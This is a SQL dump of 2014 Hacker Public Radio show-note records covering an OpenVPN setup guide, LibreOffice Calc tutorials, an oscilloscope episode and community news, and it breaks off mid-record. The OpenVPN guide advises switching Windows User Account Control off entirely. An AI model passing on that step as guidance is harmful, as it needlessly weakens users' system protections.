(1498,'2014-04-30','Personal OpenVPN',2295,'John Duarte talks about setting up OpenVPN','<h2>Personal OpenVPN</h2>\r\n<p>\r\nThis guide will walk you through setting up an OpenVPN server as well as a client.\r\n</p>\r\n<h2>OpenVPN Server Setup</h2>\r\n<p>\r\nHere is how to install OpenVPN on Centos6. Other RedHat derivatives should be similar.\r\n</p>\r\n<p>\r\n<pre>\r\n    wget https://dl.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm\r\n    rpm -Uvh epel-release-6-8.noarch.rpm\r\n    yum install openvpn -y\r\n</pre>\r\n</p>\r\n<p>\r\nHere is how to install OpenVPN on a Debian server. Other Debian derivatives should be similar.\r\n</p>\r\n<p>\r\n<pre>\r\n    apt-get install openvpn\r\n</pre>\r\n</p>\r\n<p>\r\nAfter the server is installed, the server certificate authority and keys must be generated.\r\nThis will be followed by the client keys, and then the server configuration file.\r\n</p>\r\n<p>\r\nCopy the easy-rsa scripts into /etc/openvpn\r\n</p>\r\n<p>\r\n<pre>\r\n    cp -rf /usr/share/doc/openvpn/examples/easy-rsa/2.0/* /etc/openvpn/easy-rsa  # on Debian\r\n</pre>\r\n<pre>\r\n    cp -rf /usr/share/openvpn/easy-rsa/2.0/* /etc/openvpn/easy-rsa  # on Centos6\r\n</pre>\r\n</p>\r\n<p>\r\nSet Environmental variables\r\n</p>\r\n<p>\r\n<pre>\r\n    cd /etc/openvpn/easy-rsa\r\n    vim vars\r\n</pre>\r\n</p>\r\n<p>\r\nChange the following variables to meet your needs. These are used for your\r\nconvenience. They will be used as the defaults during the interactive key\r\ngeneration session to set the keys attributes.\r\n</p>\r\n<p>\r\n<pre>\r\n    export KEY_COUNTRY=\"US\"\r\n    export KEY_PROVINCE=\"CA\"\r\n    export KEY_CITY=\"SanFrancisco\"\r\n    export KEY_ORG=\"Fort-Funston\"\r\n    export KEY_EMAIL=\"me@myhost.mydomain\"\r\n</pre>\r\n</p>\r\n<p>\r\nSource the variables to the current shell\r\n</p>\r\n<p>\r\n    . ./vars\r\n</p>\r\n<p>\r\nCreate certificate authority\r\n</p>\r\n<p>\r\n<pre>\r\n    ./clean-all\r\n    ./build-ca\r\n    ./build-dh\r\n</pre>\r\n</p>\r\n<p>\r\nCreate keys for the server and clients\r\n</p>\r\n<p>\r\n<pre>\r\n    ./build-key-server server\r\n    ./build-key client1\r\n    ./build-key client2\r\n</pre>\r\n</p>\r\n<p>\r\nSetup the server configuration file\r\n</p>\r\n<p>\r\n<pre>\r\n  cd /etc/openvpn\r\n  gunzip /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz  # on Debian\r\n  vim /etc/openvpn/server.conf\r\n</pre>\r\n</p>\r\n<p>\r\nServer settings\r\n</p>\r\n<p>\r\n<pre>\r\n    port 1194\r\n    proto udp\r\n    dev tun\r\n    ca     /etc/openvpn/easy-rsa/keys/ca.crt\r\n    cert   /etc/openvpn/easy-rsa/keys/server.crt\r\n    key    /etc/openvpn/easy-rsa/keys/server.key\r\n    dh     /etc/openvpn/easy-rsa/keys/dh2048.pem\r\n    server 10.10.42.0 255.255.255.0\r\n    ifconfig-pool-persist ipp.txt\r\n    client-config-dir ccd\r\n    route 10.10.42.0 255.255.255.0\r\n    client-to-client\r\n    keepalive 10 120\r\n    cipher AES-256-CBC   # AES\r\n    comp-lzo\r\n    user nobody\r\n    group nogroup\r\n    persist-key\r\n    persist-tun\r\n    status openvpn-status.log\r\n    verb 3\r\n</pre>\r\n</p>\r\n<p>\r\nRestart VPN Service\r\n</p>\r\n<p>\r\n<pre>\r\n    service openvpn restart\r\n</pre>\r\n</p>\r\n<p>\r\nIf the service fails to start, try starting openVPN manually.\r\nThe resulting errors will allow you to see what item in the\r\nconfiguration file is incorrect.\r\n</p>\r\n<p>\r\n<pre>\r\n    openvpen server.conf\r\n</pre>\r\n</p>\r\n<p>\r\nOnce you are able to get openVPN to start without error,\r\nkill it and restart it using the service command above.\r\nYou can verify that the vpn is successfully running by\r\nlooking at the configured interfaces using the following\r\ncommand.\r\n</p>\r\n<p>\r\n<pre>\r\n    ifconfig\r\n</pre>\r\n</p>\r\n<p>\r\nYou should now see an entry like the following:\r\n</p>\r\n<p>\r\n<pre>\r\ntun0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00\r\n          inet addr:10.10.42.1  P-t-P:10.10.42.2  Mask:255.255.255.255\r\n          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1\r\n          RX packets:622255 errors:0 dropped:0 overruns:0 frame:0\r\n          TX packets:986993 errors:0 dropped:0 overruns:0 carrier:0\r\n          collisions:0 txqueuelen:100\r\n          RX bytes:40649523 (38.7 MiB)  TX bytes:1344026670 (1.2 GiB)\r\n</pre>\r\n</p>\r\n<h2>OpenVPN Client Setup</h2>\r\n<p>\r\nThe installation of OpenVPN for linux is the same as described above for\r\nthe server. For Windows, Download and run the OpenVPN installer from the\r\nOpenVPN Community Downloads.\r\n</p>\r\n<p>\r\n<i>NOTE:</i> On Windows, <i>User Account Control (UAC)</i> must be turned\r\noff in order to allow OpenVPN to execute the necessary network\r\ncommands to bring up the VPN. Open <i>Start > Control Panel >\r\nUser Accounts and Family Safety > User Accounts > Change User\r\nAccount Control Settings</i>. Set to <i>Never Notify</i>, click <i>OK</i>,\r\nand reboot the machine.\r\n</p>\r\n<p>\r\nClient Configuration file\r\n</p>\r\n<p>\r\nFor linux, the client config file would go in `/etc/openvpn` just like\r\nthe server config. We will name it `client.conf` to clarify that the\r\ndevice is being configured as an OpenVPN client.\r\nOn Windows, the keys and client config files go in the\r\n`C:\\Program Files (x86)\\OpenVPN\\config`. The config file has\r\nto have an `.ovpn` suffix.\r\n</p>\r\n<p>\r\n<pre>\r\n    client\r\n    dev tun\r\n    proto udp\r\n    remote myvpn.example.org 1194\r\n    resolv-retry infinite\r\n    nobind\r\n    user nobody\r\n    group nogroup\r\n    persist-key\r\n    persist-tun\r\n    ca     /etc/openvpn/keys/ca.crt\r\n    # on Windows, the format is:\r\n    # ca \"C:\\\\Program Files (x86)\\\\OpenVPN\\\\config\\\\ca.crt\"\r\n    # Windows may also change the file suffix on the crt files to cer.\r\n    # So, If Windows complains that it cannot find the file,\r\n    # examine its properties to verify the suffix.\r\n    # The logs are stored at C:\\\\Program Files (x86)\\\\OpenVPN\\\\log\r\n    cert   /etc/openvpn/keys/client1.crt\r\n    key    /etc/openvpn/keys/client1.key\r\n    ns-cert-type server\r\n    cipher AES-256-CBC\r\n    comp-lzo\r\n    verb 3\r\n</pre>\r\n</p>\r\n<p>\r\nCopy client key and server ca files onto client\r\n</p>\r\n<p>\r\n<pre>\r\n    scp  ca.crt  user@client1:.openvpn/\r\n    scp  client1.crt  user@client1:.openvpn/\r\n    scp  client1.key  user@client1:.openvpn/\r\n</pre>\r\n</p>\r\n<p>\r\nOn the server create the ccd directory to assign static addresses to clients.\r\n</p>\r\n<p>\r\n<pre>\r\n    mkdir /etc/openvpn/ccd\r\n</pre>\r\n</p>\r\n<p>\r\nFor each device, add a file with the CN name of the key.\r\nIn that file, you will indicate the static address to be used and the server IP\r\nFor linux, the server IP will be the VPN address of your VPN server. On Windows, the VPN client\r\nwill set up a local TAP interface that must be used as the server IP. See the OpenVPN docs for available\r\nclient and TAP server IP pairs.\r\n</p>\r\n<p>\r\nExamples:\r\n</p>\r\n<p>\r\n<pre>\r\n    cat /etc/openvpn/ccd/linux-client\r\n    ifconfig-push 10.10.42.10 10.10.42.1\r\n    cat /etc/openvpn/ccd/windows-client\r\n    ifconfig-push 10.10.42.13 10.10.42.14\r\n</pre>\r\n</p>\r\n\r\n<h2>References:</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.hackerpublicradio.org/eps.php?id=297\">Hacker Public Radio episode 0297</A></li>\r\n<li><a href=\"https://wiki.debian.org/OpenVPN\">Debian OpenVPN Docs</A></li>\r\n<li><a href=\"https://openvpn.net/index.php/open-source/documentation/howto.html\">OpenVPN HowTo</A></li>\r\n<li><a href=\"https://openvpn.net/index.php/download/community-downloads.html\">OpenVPN Windows Downloads</A></li>\r\n<li><a href=\"https://community.openvpn.net/openvpn/wiki/Easy_Windows_Guide\">OpenVPN Windows Guide</A></li>\r\n</ul>\r\n',277,74,1,'CC-BY-SA','OpenVPN,Centos6,Debian',0,1567,1),
(1503,'2014-05-07','Making Waves-The DSO Pocket Oscilloscope',1280,'NYbill discusses the DSO Pocket Oscilloscope v3. A few circuits are set up to test it','<p>\r\nNYbill discusses the DSO Pocket Oscilloscope v3. A few test circuits are set up to put the scope through its paces. \r\n</p>\r\n<p>\r\nThe DSO at Adafruit:\r\n<a href=\"https://www.adafruit.com/products/468\">https://www.adafruit.com/products/468</a>\r\n</p>\r\n<p>\r\nThe 555 timer chip:\r\n<a href=\"https://electronicsclub.info/555timer.htm#astable\">https://electronicsclub.info/555timer.htm#astable</a>\r\n</p>\r\n<p>\r\nThe script used to blink the Teensy:\r\n<a href=\"https://www.pjrc.com/teensy/loader_linux.html\">https://www.pjrc.com/teensy/loader_linux.html</a>\r\n</p>\r\n<p>\r\nPictures for the episode:\r\n<a href=\"https://media.gunmonkeynet.net/u/nybill/collection/pics-for-an-hpr-ep-making-waves/\">https://media.gunmonkeynet.net/u/nybill/collection/pics-for-an-hpr-ep-making-waves/</a>\r\n</p>\r\n	',235,103,0,'CC-BY-SA','electronics,oscilloscope,555 timer,teensy',0,1402,1),
(1504,'2014-05-08','HPR at NELF 2014 Afterparty',2358,'In this episode, Members of the HPR community, and attendees of NELF share their thoughts about the ','<p>\r\nIn this episode, Members of the HPR community, and attendees of NELF share their thoughts about the 2014 Northeast GNU/Linux Fest. Sorry for the dynamic range of this one. I levelled it out the best I could. Also sorry for getting this out so late. RL has been kicking my ass lately.\r\n</p>\r\n<p>\r\nSome interesting things that were mentioned that may be worth checking out:\r\nThe NELF talks and website:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://northeastlinuxfest.org/oggcast/ChrisCampbell.ogg\">https://northeastlinuxfest.org/oggcast/ChrisCampbell.ogg</a>\r\n</li>\r\n<li><a href=\"https://northeastlinuxfest.org/oggcast/PaulAsadoorian.ogg\">https://northeastlinuxfest.org/oggcast/PaulAsadoorian.ogg</a>\r\n</li>\r\n<li><a href=\"https://northeastlinuxfest.org/oggcast/RicWheeler.ogg\">https://northeastlinuxfest.org/oggcast/RicWheeler.ogg</a>\r\n</li>\r\n<li><a href=\"https://northeastlinuxfest.org/oggcast/TracyHolz.ogg\">https://northeastlinuxfest.org/oggcast/TracyHolz.ogg</a>\r\n</li>\r\n<li><a href=\"https://northeastlinuxfest.org/oggcast/door_talk.ogg\">https://northeastlinuxfest.org/oggcast/door_talk.ogg</a>\r\n</li>\r\n<li><a href=\"https://northeastlinuxfest.org/oggcast/RaviNoori.ogg\">https://northeastlinuxfest.org/oggcast/RaviNoori.ogg</a>\r\n</li>\r\n<li><a href=\"https://northeastlinuxfest.org/oggcast/WillWeaver.ogg\">https://northeastlinuxfest.org/oggcast/WillWeaver.ogg</a>\r\n</li>\r\n<li><a href=\"https://northeastlinuxfest.org/oggcast/aditya.ogg\">https://northeastlinuxfest.org/oggcast/aditya.ogg</a>\r\n</li>\r\n<li><a href=\"https://northeastlinuxfest.org/oggcast/MattMiller.ogg\">https://northeastlinuxfest.org/oggcast/MattMiller.ogg</a>\r\n</li>\r\n<li><a href=\"https://northeastlinuxfest.org/oggcast/AskTheGeek.ogg\">https://northeastlinuxfest.org/oggcast/AskTheGeek.ogg</a>\r\n</li>\r\n<li><a href=\"https://northeastlinuxfest.org/\">https://northeastlinuxfest.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nThe Zoom H1 Recorders are fantastic devices, and we need to thank the HPR community for chipping in to buy one. They definitely pick up more sound than I did when the podcast was being recorded. I heard things in playback that I wish I had heard and addressed during the live recording. \r\n</p>\r\n<p>\r\nThanks to Richard Stallman for the lyrics to the Free Software Song\r\n</p>\r\n<p>\r\nThanks to The GNU/Stallmans for their performance of the Free Software Song on the RevolutionOS documentary. <a href=\"https://www.revolution-os.com/\">https://www.revolution-os.com/</a>\r\n</p>\r\n<p>\r\nWe all had a great time recording this show, and we hope you enjoyed it as well. Please join us at the next Northeast Gnu/Linux Fest if you can. Thank you very much for listening.\r\n</p>\r\n<p>\r\nSincerely,\r\nThe HPR conference crew\r\n</p>\r\n<p>\r\nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\r\n</p>',109,0,1,'CC-BY-SA','Conference Interviews',0,1335,1),
(1535,'2014-06-20','31 - LibreOffice Calc - Sheet Editing and Navigation',1238,'Editing and navigating sheets, rows and columns in LibreOffice Calc','\n<p>This episode covers various editing techniques you might use, including multiple sheets, and adding, removing and hiding rows and columns. We also discuss how to navigate around a multiple sheet spreadsheet.</p>\n<p>LibreOffice Calc, like all spreadsheets, contains a large number of cells in various rows, columns, and sheets, and navigating that can get a little tricky. As we saw previously, each cell has an address, which is marked by the column (letters) and the row (numbers), always in that order. But in fact the address can be larger because we never discussed sheets.</p>\n<p>By default, when you create a new Calc spreadsheet you will have three sheets in it, which you see as tabs along the bottom of the screen. They will be called Sheet 1, Sheet 2, and Sheet 3 at this point. But these defaults can be changed by going to Tools–&gt;Options–&gt;LibreOffice Calc–&gt;Defaults. On this screen you can decide how many sheets you want to have on a new document. While the default as it comes is three (similar to Microsoft Excel) you can change it. On my copy of Calc I changed it to 1, because most of the time I never need more than one sheet for my work. I can also change the default naming of new sheets here. Instead of each sheet being “Sheet 1″, Sheet 2″, etc. I could make it something else, like “Tab 1″, “Tab 2″. and so on. I never bother with this though, because I will always name my sheets for what they are doing in a given spreadsheet (e.g. look at what I did when I created the simple model for “What-If” analysis.) And if I need to add a sheet, I can just go to Insert–&gt;Sheet to bring up a window to specify where the sheet should go, what it should be named, or even insert a sheet from a file . A CSV file would be a very good choice here, such as if you wanted to bring in data from a database or another spreadsheet for use in the current spreadsheet.</p>\n<ul>\n<li><a href=\"https://help.libreoffice.org/Calc/Shortcut_Keys_for_Spreadsheets\">https://help.libreoffice.org/Calc/Shortcut_Keys_for_Spreadsheets</a></li>\n<li><a href=\"https://www.ahuka.com/?page_id=719\">https://www.ahuka.com/?page_id=719</a><br /></li></ul>\n',198,70,0,'CC-BY-SA','LibreOffice, Calc',0,1309,1),
(1545,'2014-07-04','32 - LibreOffice Calc - Introduction to Charts and Graphs',1184,'LibreOffice, Calc, Spreadsheet, chart, graph','<p>There are many Charts and Graphs available in LibreOffice Calc, but choosing the right one makes a difference. In this episode we review your options and help you to make the right choice.</p>\n <ul>\n  <li><a href=\"https://www.amazon.com/The-Visual-Display-Quantitative-Information/dp/0961392142/ref=sr_1_1?ie=UTF8&qid=1397151192&sr=8-1&keywords=Tufte\">https://www.amazon.com/The-Visual-Display-Quantitative-Information/dp/0961392142/ref=sr_1_1?ie=UTF8&amp;qid=1397151192&amp;sr=8-1&amp;keywords=Tufte</a></li>\n  <li><a href=\"https://www.numberphile.com/videos/infographic.html\">https://www.numberphile.com/videos/infographic.html</a></li>\n  <li><a href=\"https://www.ted.com/talks/hans_rosling_shows_the_best_stats_you_ve_ever_seen\">https://www.ted.com/talks/hans_rosling_shows_the_best_stats_you_ve_ever_seen</a></li>\n  <li><a href=\"https://www.ted.com/talks/david_mccandless_the_beauty_of_data_visualization\">https://www.ted.com/talks/david_mccandless_the_beauty_of_data_visualization</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Bubble_chart\">https://en.wikipedia.org/wiki/Bubble_chart</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Radar_chart\">https://en.wikipedia.org/wiki/Radar_chart</a></li>\n  <li><a href=\"https://simplystatistics.org/2012/11/26/the-statisticians-at-fox-news-use-classic-and-novel-graphical-techniques-to-lead-with-data/\">https://simplystatistics.org/2012/11/26/the-statisticians-at-fox-news-use-classic-and-novel-graphical-techniques-to-lead-with-data/</a></li>\n  <li><a href=\"https://www.ahuka.com/?page_id=772\">https://www.ahuka.com/?page_id=772</a></li>\n </ul>',198,70,0,'CC-BY-SA','LibreOffice, Calc',0,1279,1),
(1555,'2014-07-18','33 - LibreOffice Calc - Creating Charts',881,'Creating Charts with LibreOffice Calc','<p>\r\nIn creating a chart or graph you have a number of options that can make your chart easier to read and understand. In this episode we look at these options and explain what each of them does.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/wp-content/uploads/2014/02/Savings-Model.ods\">https://www.ahuka.com/wp-content/uploads/2014/02/Savings-Model.ods</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?attachment_id=804\">https://www.ahuka.com/?attachment_id=804</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=780\">https://www.ahuka.com/?page_id=780</a>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, chart, graph',0,1242,1),
(1506,'2014-05-12','HPR AudioBookClub 6 Shaman Tales Book 1 South Coast',3595,'In this episode, the hackerpublicradio.org Audiobook Club reviews Shaman Tales Book1: South Coast.','<p>\r\nIn this episode, the hackerpublicradio.org Audiobook Club reviews Shaman Tales Book1: South Coast. You can download this audiobook for free (or voluntary donation) from <a href=\"https://podiobooks.com/title/shaman-tales-1-south-coast/\">https://podiobooks.com/title/shaman-tales-1-south-coast/</a> and available in paperback on Amazon <a href=\"https://www.amazon.com/Crown-Conspiracy-Michael-J-Sullivan/dp/0980003431\">https://www.amazon.com/Crown-Conspiracy-Michael-J-Sullivan/dp/0980003431</a>\r\n</p>\r\n<p>\r\nDuring this show the hosts also discuss beverages.\r\nColin was drinking a Badger Brewery Golden Glory, and quite enyoyed it. <a href=\"https://www.hall-woodhouse.co.uk/beer/golden-glory\">https://www.hall-woodhouse.co.uk/beer/golden-glory</a> \r\npokey drank a Fosters Lager, and he didn\'t like it very much. Thankfully he only wanted it for the can. Sadly, it really seemed to go straight to his head. <a href=\"https://www.fostersbeer.com/\">https://www.fostersbeer.com/</a> \r\nAccording to Fosters\' website, \"You need to upgrade your Flash Player.\" Good luck with that.\r\n</p>\r\n<p>\r\nOur next audiobook will be The Crown Conspiracy by Michael J. Sullivan\r\n<a href=\"https://podiobooks.com/title/the-crown-conspiracy/\">https://podiobooks.com/title/the-crown-conspiracy/</a>\r\nThis book was suggested by pokey. pokey likes The Crown Conspiracy very much and has found it appropriate to suggest to both his mother and his daughter.\r\n</p>\r\n<p>\r\nYou can find more content (including podcasts) from Nathan Lowell <a href=\"https://nathanlowell.com/\">https://nathanlowell.com/</a>\r\nWe discussed looking up interviews with Nathan Lowell, and as it turns out he has links to lots of them on his website <a href=\"https://nathanlowell.com/multimedia/interviews-articles/\">https://nathanlowell.com/multimedia/interviews-articles/</a> If you\'re a Nathan Lowell fan, you\'ve got many hours of enjoyment ahead of you.  \r\n</p>\r\n<p>\r\nColin welcomes your feedback via email to gigasphere\"nineteeneighty\" at gee mail dot com\r\npokey prefers his feedback to come via the hacker public radio comment system.\r\n</p>\r\n<p>\r\nPlease remember to visit the HPR contribution page. We could really use your help right now. <a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a>\r\n</p>\r\n<p>\r\nWe both had a great time recording this show, and we hope you enjoyed it as well. We hope you\'ll consider joining us next time. Thank you very much for listening.\r\n</p>\r\n<p>\r\nSincerely,\r\nThe HPR_AudioBookClub\r\n</p>\r\n<p>\r\nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\r\n</p>',157,53,1,'CC-BY-SA','HPR AudioBookClub',0,1339,1),
(1507,'2014-05-13','HPR Community News for April 2014',4059,'Website changes, comment systems, Series help, Ham Radio, Show tagging','<h1>HPR Community News for April 2014</h1>\r\n\r\n<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new hosts: <br />\r\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=276\">x1101</a>, \r\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=277\">John Duarte</a>.\r\n</p>\r\n\r\n<h2>Last Month\'s Shows</h2>\r\n<table>\r\n    <thead>\r\n	<tr>\r\n	<th align=\"left\">Id</th>\r\n	<th align=\"left\">Title</th>\r\n	<th align=\"left\">Host</th>\r\n	</tr>\r\n    </thead>\r\n    <tbody>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1477</td>\r\n	<td align=\"left\">OSI layer 3</td>\r\n	<td align=\"left\">Various Hosts</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1478</td>\r\n	<td align=\"left\">Batteries Part 2</td>\r\n	<td align=\"left\">MrX</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1479</td>\r\n	<td align=\"left\">01 What is on my podcast player</td>\r\n	<td align=\"left\">Ahuka</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1480</td>\r\n	<td align=\"left\">Continuous Ink Supply System</td>\r\n	<td align=\"left\">Ken Fallon</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1481</td>\r\n	<td align=\"left\">Encryption and Gmail</td>\r\n	<td align=\"left\">Ahuka</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1482</td>\r\n	<td align=\"left\">02 What is on my podcast player</td>\r\n	<td align=\"left\">Ahuka</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1483</td>\r\n	<td align=\"left\">HPR Community News for March 2014</td>\r\n	<td align=\"left\">HPR Admins</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1484</td>\r\n	<td align=\"left\">TuxJam31</td>\r\n	<td align=\"left\">Andrew Conway</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1485</td>\r\n	<td align=\"left\">26 - LibreOffice Calc Cells</td>\r\n	<td align=\"left\">Ahuka</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1486</td>\r\n	<td align=\"left\">Linux Luddites Episode 11 - Interview with Rob Landley</td>\r\n	<td align=\"left\">Ken Fallon</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1487</td>\r\n	<td align=\"left\">How I Found Linux</td>\r\n	<td align=\"left\">x1101</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1488</td>\r\n	<td align=\"left\">What&#39;s on My Podcatcher</td>\r\n	<td align=\"left\">Keith Murray</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1489</td>\r\n	<td align=\"left\">Setting up a Raspberry Pi and RaspBMC</td>\r\n	<td align=\"left\">Curtis Adkins (CPrompt^)</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1490</td>\r\n	<td align=\"left\">HPR at NELF 2014 Part1</td>\r\n	<td align=\"left\">pokey</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1491</td>\r\n	<td align=\"left\">Heartbleed</td>\r\n	<td align=\"left\">laindir</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1492</td>\r\n	<td align=\"left\">HPR at NELF 2014 Part2</td>\r\n	<td align=\"left\">NYbill</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1493</td>\r\n	<td align=\"left\">The Next Gen is You (1/2)</td>\r\n	<td align=\"left\">klaatu</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1494</td>\r\n	<td align=\"left\">The Next Gen is You (2/2)</td>\r\n	<td align=\"left\">klaatu</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1495</td>\r\n	<td align=\"left\">27 - LibreOffice Calc - Calculations and the Formula Bar</td>\r\n	<td align=\"left\">Ahuka</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1496</td>\r\n	<td align=\"left\">wiki on the raspberry pi</td>\r\n	<td align=\"left\">MrX</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1497</td>\r\n	<td align=\"left\">Practical Math - Units - Distances and Area, Part 1</td>\r\n	<td align=\"left\">Charles in NJ</td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\">1498</td>\r\n	<td align=\"left\">Personal OpenVPN</td>\r\n	<td align=\"left\">John Duarte</td>\r\n	</tr>\r\n    </tbody>\r\n</table>\r\n\r\n<h2>Mailing List discussions</h2>\r\n<p>\r\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes \r\nplace on the <a href=\"https://hackerpublicradio.org/maillist\">Mail List</a> which is open to all\r\nHPR listeners and contributors. The discussions are open and available on the\r\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\">Gmane</a>\r\narchive.\r\n</p>\r\n<p>\r\nDiscussed this month was:\r\n</p>\r\n<ul>\r\n<li>Something went wrong with episode 1477 :)</li>\r\n<li>Community News shows should have a reserved slot.</li>\r\n<li>Comment system, versus Forums versus disqus versus ...</li>\r\n<li>Help with the Series</li>\r\n<li>Help tagging shows</li>\r\n<li>Call for Shows</li>\r\n<li>Ken is looking for Ham Radio content</li>\r\n<li>Seetee, is our man in Sweden</li>\r\n</ul>\r\n\r\n',159,47,1,'CC-BY-SA','Community News',0,1384,1),
(1508,'2014-05-14','In Defense of Play',1593,'Just a few words in defense of play. It is the best way to learn new things.','<p>\r\nThis episode is a just-for-fun show in which I make a few observations in defense of just playing around.  We need to \r\nstop worrying about work and to-do lists every once in a while in order to just get up off our chairs and do something\r\nthat is fun.  It doesn\'t have to have a structure at first, but it should involve a challenge or exposure to at least\r\none new thing, or place, or person, or idea.\r\n\r\nI think it is the best way to learn, because the knowledge and acquisition of skills sneak up on you while you are\r\nhaving fun.  It may be the only way to make learning really stick, and to stick with the learning process.\r\n</p>\r\n\r\n<h3>Links</h3>\r\n<p>\r\n</p>\r\n<p>\r\nDr. Peter Gray on the Play Deficit: <a href=\"https://aeon.co/magazine/being-human/children-today-are-suffering-a-severe-deficit-of-play/\">https://aeon.co/magazine/being-human/children-today-are-suffering-a-severe-deficit-of-play/</a>\r\n</p>\r\n\r\n<p>\r\nArticles from the Journal of Play: <a href=\"https://www.ecswe.org/wren/researchpapers_theimportanceofplay.html\">https://www.ecswe.org/wren/researchpapers_theimportanceofplay.html</a>\r\n</p>',229,0,0,'CC-BY-SA','play, learning, fun',0,1431,1),
(1509,'2014-05-15','HPR Needs Shows',181,'HPR is short of shows and we need you to send in some today','<p>\r\nHPR is short of shows and we need you to send in some today\r\n</p>',159,0,0,'CC-BY-SA','HPR, shows, request, call to action, community, contribute',0,1366,1),
(1510,'2014-05-16','What\'s in My Bag?',1858,'Just a few words about what\'s in my bag(s).','<p>\r\nThis episode is a just-for-fun show in which I walk systematically through\r\nthe bags I was carrying to work on a particular day, and describe what I\r\nhave found inside.\r\n</p>',229,23,0,'CC-BY-SA','play, learning, fun',0,1513,1),
(1513,'2014-05-21','Stir-Fried Stochasticity: Bio-Boogers',877,'Epicanis demonstrates a show concept: REAL science news, direct from a scientific journal articles','<p>\r\nThis is a show concept I came up with half a decade ago, as the show itself  explains. The journal article may be found as PubMed ID#19323757 ( <a href=\"https://www.ncbi.nlm.nih.gov/pubmed/19323757\">https://www.ncbi.nlm.nih.gov/pubmed/19323757</a> ) if you want to follow along.\r\n</p>\r\n<p>\r\nHopefully the updated time references below for the show-note comments are now correct for this version of it. They should be close, anyway. \r\n</p>\r\n<p>\r\nAlso, I\'m oddly pleased at how inferior the \"old\" part of today\'s episode sounds: it means I\'ve actually gotten a lot better at recording and editing.\r\n(It\'s quite listenable still, I think, it just doesn\'t sound as good as the newer stuff.)\r\n</p>\r\n\r\n<ul>\r\n<li>03:46 Ding WK,Shah NP:\"Effect of Various Encapsulating Materials on the Stability of Probiotic Bacteria\";2009;J. Food Sci.;vol.74 #2; pp M100-M107\r\n</li>\r\n<li>07:10 For your copy-and-paste pleasure: de Man JD,Rogosa M, Sharpe ME:\"A Medium for the Cultivation of Lactobacilli\";1960; J. Appl. Bact.;23; 130-135\r\n</li>\r\n<li>07:52 I\'m pretty sure that the Hasbro corporation, owners of the \"Play-Doh(tm)\" trademark, don\'t actually make microfluidizers - it\'s just an analogy\r\n</li>\r\n<li>10:25 -=Executive Summary=-\r\n</li>\r\n<li>11:05 Yes, including you...\r\n</li>\r\n<li>11:47 Yes, \"Fecal Transplants\".  Ewwww.\r\n</li>\r\n<li>11:53 You\'re welcome.\r\n</li>\r\n<li>12:30 If you\'re not familiar with this kitchen gadget, a \"French Press\" is a device for making coffee or tea.  It\'s A glass cylinder with a fine wire-screen plunger.  I suspect you could \"plunge\" the ingredients together repeatedly to get a sloppy substitute for the microfluidizer processing.\r\n</li>\r\n<li>12:28 Larger volume/surface-area ratio, you see... (The \"Album Art\" photo is \"She Slimed Me\", by \"Jurveston\" on Flickr: <a href=\"https://www.flickr.com/photos/jurvetson/131023758/\">https://www.flickr.com/photos/jurvetson/131023758/</a> )\r\n</li>\r\n<li>03:46 Ding WK,Shah NP:\"Effect of Various Encapsulating Materials on the Stability of Probiotic Bacteria\";2009;J. Food Sci.;vol.74 #2; pp M100-M107\r\n</li>\r\n<li>06:14 (update the location of the \"Executive Summary\" from \"the 8 minute mark\" to \"the 10 minute 20 second mark\")\r\n</li>\r\n<li>07:10 For your copy-and-paste pleasure: de Man JD,Rogosa M, Sharpe ME:\"A Medium for the Cultivation of Lactobacilli\";1960; J. Appl. Bact.;23; 130-135\r\n</li>\r\n<li>07:52 I\'m pretty sure that the Hasbro corporation, owners of the 